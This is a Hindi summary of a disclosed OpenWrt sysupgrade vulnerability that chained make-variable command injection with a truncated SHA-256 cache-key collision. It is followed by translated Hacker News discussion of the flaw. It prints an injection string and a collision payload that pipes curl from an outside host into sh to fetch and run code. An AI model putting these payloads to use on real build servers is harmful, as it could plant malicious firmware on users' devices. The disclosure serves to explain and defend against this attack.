- OpenWrt की वेब upgrade सुविधा Attended Sysupgrade ऐसी संरचना पर आधारित थी जिसमें ऑनलाइन build server पर firmware बनाया जाता था, और command injection व truncated SHA-256 collision के संयोजन से किसी वैध request पर गलत build artifact लौटाया जा सकता था
- request का
packagesमानmake manifestकेPACKAGES=variable में पास किया जाता था, औरmakeके variable expansion व्यवहार के कारण attacker imagebuilder container के अंदर arbitrary commands चला सकता था - package list hash में पूरे SHA-256 के बजाय केवल शुरुआती 12 अक्षर, यानी 48 bits, cache key में शामिल किए जाते थे, जिससे अलग-अलग package lists समान request hash बना सकती थीं
- शोधकर्ता ने modified Hashcat और RTX 4090 के साथ लगभग 18 billion hashes per second की गति हासिल की, और collision वाले command injection payload से imagebuilder के
.binartifacts को overwrite करने का verification सफल रहा - private vulnerability report के बाद OpenWrt team ने
sysupgrade.openwrt.orgको अस्थायी रूप से बंद किया और 3 घंटे के भीतर fixed version deploy किया, लेकिन पहले से exploitation हुआ था या नहीं, इसकी पुष्टि नहीं हो सकी
Attended Sysupgrade की online firmware build संरचना
- OpenWrt के LuCI web interface में
Attended Sysupgradeहै, और यह सुविधा online service का उपयोग करके नया firmware build करती है - build service
sysupgrade.openwrt.orgपर चलती है, और जब user target device व desired packages चुनता है, तो यह नई firmware image बनाती है - upgrade request के समय user-side OpenWrt server को ये जानकारी भेजता है
- target architecture
- device profile
- selected packages
- server इस जानकारी के आधार पर firmware image build करके OpenWrt device को वापस देता है, और device मिली हुई image को flash करता है
- यदि user-provided packages से image build करने वाला server पर्याप्त रूप से isolated न हो, तो build result सीधे device पर लागू होने के कारण यह supply-chain attack surface बन जाता है
PACKAGES values के जरिए command injection
sysupgrade.openwrt.orgserver एक open source project है, और source code openwrt/asu में है- build environment
podman.containers.createसे बनाए गए container में चलता है, औरcap_drop=["all"],no_new_privileges=True,privileged=Falseजैसी settings का उपयोग करता है - vulnerability
make manifestcall वाले हिस्से में पैदा होती हैPROFILE={build_request.profile}PACKAGES={' '.join(build_cmd_packages)}STRIP_ABI=1
- OpenWrt imagebuilder का
manifesttargetPACKAGESvalue कोUSER_PACKAGES="$(PACKAGES)"के रूप में फिर से पास करता है makecommand execution से पहले variables expand करता है, इसलिए single quotes में घेरने पर भी user-controlled value सुरक्षित ढंग से handle नहीं होती- example Makefile में
make var="'; whoami #"चलाने परecho '$(var)'के अंदर भीwhoamiexecute होता है
- example Makefile में
- क्योंकि request का
packagesparameterPACKAGESvariable में जाता है, attacker package name जैसा दिखने वाले value में command डालकर imagebuilder container के अंदर arbitrary command execute कर सकता था - container host से isolated होने के बावजूद, generated binaries बाद के चरण में private key से signed होते हैं, इसलिए यह command injection supply-chain vulnerability में बदल जाता है
12 अक्षरों तक truncated SHA-256 cache key
get_request_hashbuild request के कई fields को जोड़कर request hash बनाता है, और यह hash build cache key के रूप में इस्तेमाल होता है- package list सीधे string के रूप में शामिल नहीं होती;
get_packages_hash(build_request.packages)का result external request hash में शामिल होता है get_packages_hashduplicate packages हटाकर उन्हें sort करता है, फिर spaces से जोड़ी गई string का SHA-256 calculate करता है, लेकिन result को शुरुआती 12 अक्षरों तक truncate करके लौटाता है- SHA-256 का 12-character prefix 48 bits होता है, और संभावित space
2^48 = 281,474,976,710,656है - external request hash इस truncated package hash को शामिल करता है, इसलिए package hash collision बनाने पर अलग-अलग package lists भी वही cache key share करती हैं
- नतीजतन server अलग package requests के लिए गलत build artifact लौटा सकता था
Hashcat से collision payload खोजना
- partial-match SHA-256 brute-force tool न मिलने पर researcher ने खुद OpenCL program बनाया, लेकिन 100 million hash calculation में 10 seconds लगे, जो CPU hash speed के समान था
- इसके बाद Hashcat को modify कर 8 अक्षर match होते ही hash output करने लायक बनाया, और छोटे script से 12-character collision की जांच की
- valid package list
firmware-selector.openwrt.orgसे ली गई थी, और उस list का SHA-2568f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feebथा- शुरुआती 12 अक्षर
8f7018b33d94थे - attack payload को भी वही 12-character prefix रखना था
- शुरुआती 12 अक्षर
- शुरुआत में RTX 4090 पर
`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`format का mask चलाया गया, और लगभग 500 million hashes per second की speed मिली ?la-zgenerate करता है, इसलिए 10-character space26^10 = 141,167,095,653,376है, जो2^48का लगभग आधा है- mask को 11 characters तक बढ़ाकर और mask position को command के आगे की ओर ले जाने पर speed बहुत बढ़ गई
- final pattern था
`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh` - इस pattern में Hashcat ने लगभग 18 billion hashes per second पर calculation की
- final pattern था
- 1 घंटे के भीतर निम्न 12-character collision मिला
`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`- इस string का SHA-256
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8था, जिसके शुरुआती 12 अक्षर valid package list जैसे ही थे
दो vulnerabilities के संयोजन से गलत firmware return होना
- collision payload को
packagesparameter के रूप में भेजने पर command injection होता है, औरtmp.ryotak.netसे script execute होती है - verification script
/builder/scripts/json_overview_image_info.pyमें code जोड़कर imagebuilder द्वारा बनाए गए artifacts को overwrite करती हैBIN_DIRकी file list पढ़ती है.binसे खत्म होने वाली file खोजकर content में"test"लिखती है
- hash collision के कारण server valid package list request करने वाले user को overwritten build artifact लौटाता है
- इस तरीके का दुरुपयोग होने पर user malicious firmware पर upgrade कर लेगा, जिससे device compromise हो सकता है
रिपोर्ट और fix
- vulnerability GitHub की private vulnerability report के जरिए OpenWrt team को भेजी गई
- issue confirm करने के बाद OpenWrt team ने
sysupgrade.openwrt.orgservice अस्थायी रूप से बंद की और investigation शुरू की - fixed version 3 घंटे के भीतर deploy किया गया, और service भी फिर शुरू हुई
- दोनों issues fix कर दिए गए, लेकिन vulnerability कुछ समय तक मौजूद रही थी, इसलिए यह पता नहीं चल सका कि किसी और ने पहले ही इसका दुरुपयोग किया था या नहीं
- OpenWrt team ने users को device compromise की जांच और detection में मदद के लिए notice जारी किया
निष्कर्ष
sysupgrade.openwrt.orgको command injection और truncated SHA-256 collision के संयोजन से compromise किया जा सकता था- यह real application में hash collision attack को brute force से सफल बनाकर supply-chain attack path तैयार करने का उदाहरण है
- OpenWrt team ने कम समय में issue fix किया और users को सूचित किया, लेकिन online build services को cache keys और input validation के मामले में बेहद conservative रहना चाहिए
1 टिप्पणियां
Hacker News की राय
लेख में छूटी हुई कमजोरी यह है कि किसी खास user या खास device के लिए तैयार किया गया code चलाना सामान्य हो जाता है
न reproducibility verification है, और न ही किसी के पास यह जाँचने का तरीका है कि यह custom build/download service backdoor लगे builds नहीं बना रही थी
यह सुनिश्चित करना चाहिए कि Andres Freund द्वारा इस्तेमाल किए जाने जैसे xz-utils builds इस्तेमाल हों, या ऐसे builds जिन्हें बाद में security researchers लेकर open source software में supply-chain implants की जाँच कर सकें[1]
पहले एक लेख था जिसमें Mozilla की release builds को Merkle tree में public record करने की कोशिश, और उसके बंद हो जाने, का वर्णन था[2] Google ने Pixel firmware build implementation को व्यवस्थित किया है, लेकिन Google Play Store से वितरित apps कमजोर लगते हैं (अगर कोई दूसरा log नहीं है जो मुझे नहीं मिला)[3] Apple firmware और app distribution में individual device-specific builds को target करता है और build transparency नहीं है, इसलिए binary transparency के लिहाज से वह Google से भी खराब दिखता है
अच्छे उदाहरण के तौर पर Gentoo का ebuild repository है। एक single Git repository/Merkle tree में source checksums रखे हैं, इसलिए यह open source software में सबसे बड़े और व्यापक रूप से distributed Merkle trees में से एक बना रह सकता है
[1] xz-utils backdoor के बाद कुछ researchers ने open source software builds में ऐसे unexplained high-entropy files खोजने के लिए automated/semi-automated scans किए, जिनमें छिपा हुआ malicious code हो सकता था। user-specific/device-specific custom builds में यह काम तब तक असंभव है जब तक सभी builds बाद की analysis के लिए public न किए जाएँ, और उन public builds के लिए public log (Merkle tree) साथ में न दिया जाए
[2] https://wiki.mozilla.org/Security/Binary_Transparency
[3] https://developers.google.com/android/binary_transparency/ov...
build pipeline में जाने वाली कई चीजें मूल रूप से non-deterministic होती हैं, क्योंकि compile time पर लिए गए decisions हर run में अलग हो सकते हैं। flags की समस्या को छोड़ भी दें तो भी ऐसा है, और असल में optimizing compiler का मकसद कुछ हद तक यही होता है। जैसा कि कई reproducible build projects ने पाया है, optimization चालू करने पर reproducibility की practically guarantee नहीं रहती
मेरी जानकारी में कोई centralized log नहीं है, और app developer पर छोड़ दिया जाता है कि वह अपनी key या transparency file log खुद publish करे
"".joinभी खतरनाक नहीं है क्या?अगर
get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ...जैसा हो, तो adjacent fields के बीच characters खिसकाने पर भी hash वही रह सकता हैभले ही system को सीधे कब्जे में न लिया जा सके, यह broken image से cache pollution करा सकता है या downgrade induce कर सकता है
सुधार: HMAC नहीं, incremental hashing कहना सही होगा
इसलिए open source कभी enterprise closed source से compete नहीं कर सकता:
क्योंकि patch के लिए 6 महीने इंतजार नहीं कराया, 3 घंटे में ठीक कर दिया, issue report करने वाले पर मुकदमा करने की कोशिश भी नहीं की, और “पुराने” मगर ठीक से काम कर रहे device को छोड़कर नया product खरीदने के लिए बस छोटा discount भी offer नहीं किया
उम्मीद है वे command injection भी ठीक करने की योजना बना रहे होंगे। पोस्ट में जैसा कहा गया है, generated images signed होते हैं। signature न भी हो, तब भी untrusted user input से code execution होना issue है। और vulnerabilities इस hash collision case की तरह आपस में जुड़ सकती हैं
replacement मिल सकता है, लेकिन वही model होगा। ISP security की बिल्कुल परवाह नहीं करता और patch भी नहीं करता। router पर उसका exclusive access है और remote login भी possible है, फिर भी ऐसा है—पूरी तरह बेहूदा बात है
ज्यादातर open source projects में maintainers बहुत overworked होते हैं, या कई बार वे security issue ठीक करना ही नहीं चाहते
पहली बात, यह मूल रूप से उस उपयोग के लिए बनाया गया tool नहीं था, फिर भी open source था और BuilderFactoryProvider के बिना लिखा गया था, इसलिए कम समय में काम के हिसाब से adjust किया जा सका
यह बात पहले ही कही जा चुकी है, माफ़ करें, लेकिन रोज़ यह देखकर बहुत तकलीफ होती है
कोई बड़ी company होती तो fix करने में शायद -1 साल लग जाता। वे बस उस व्यक्ति पर मुकदमा करते, उसे जितनी जल्दी हो सके गिरफ्तार करवाने की कोशिश करते, और patch कभी नहीं निकालते
OpenWrt ने जानकारी मिलने के बाद unsafe service बंद की, users shutdown की वजह से पहले ही safe state में थे, फिर report verify की, patch बनाया और 3 घंटे में deploy कर दिया। शानदार
हैरानी होती है कि लोग hash को काटकर इस्तेमाल करने का विचार कैसे सोच लेते हैं। मकसद या फायदा क्या होता होगा?
मुझे नहीं लगता कि यह अच्छा practice है, लेकिन लोग वास्तविकता में compromise करते हैं
[2] में @Reid के जवाब और [3] में @ThomasPornin के जवाब के मुताबिक, hash काटने का विचार NIST में भी पूरी तरह supported है। वास्तव में SHA-224, SHA-256 को काटकर बना है, और SHA-384, SHA-512 को काटकर
https://security.stackexchange.com/a/97389
लेख अच्छा था। इतने छोटे collision को खोजने के लिए इतनी GPU compute चाहिए थी, यह थोड़ा हैरान करने वाला था, लेकिन implementation देखना अच्छा लगा
आखिरी section के संबंध में, security analysis के एक महीने के लिए 40 हजार डॉलर क्या reasonable price है? अगर हां, तो क्या अच्छे security researchers सालाना लगभग 5 लाख डॉलर कमाते हैं?
nmap/metasploitscan चलाकर उसे दिखने में अच्छा PDF बनाकर पेश कर देती थीं2^(12*4)का मतलब है कि 12-character वाली संभावित strings 281,474,976,710,656 हैं, इसलिए एक घंटे के अंदर इतना scan कर पाना सच में प्रभावशाली हैhashcatकी performance argument order के हिसाब से कई orders of magnitude तक बदल जाती है, इसका क्या मतलब है? क्या run करते समय हर बार argument line में target pattern scan करता है?या फिर numbers गिनने जैसा
100000000000010000000000110000000000001000000000संरचना ऐसी हो सकती है कि ज्यादातर बदलाव बाईं तरफ होते हैं और दाईं तरफ बदलाव कम ही दिखते हैं। hashcat जानने वाला कोई जवाब दे तो दिलचस्प होगा। मैं तो बस अंदाजा लगा रहा हूं
attack process बहुत अच्छी तरह लिखा था और follow करना आसान था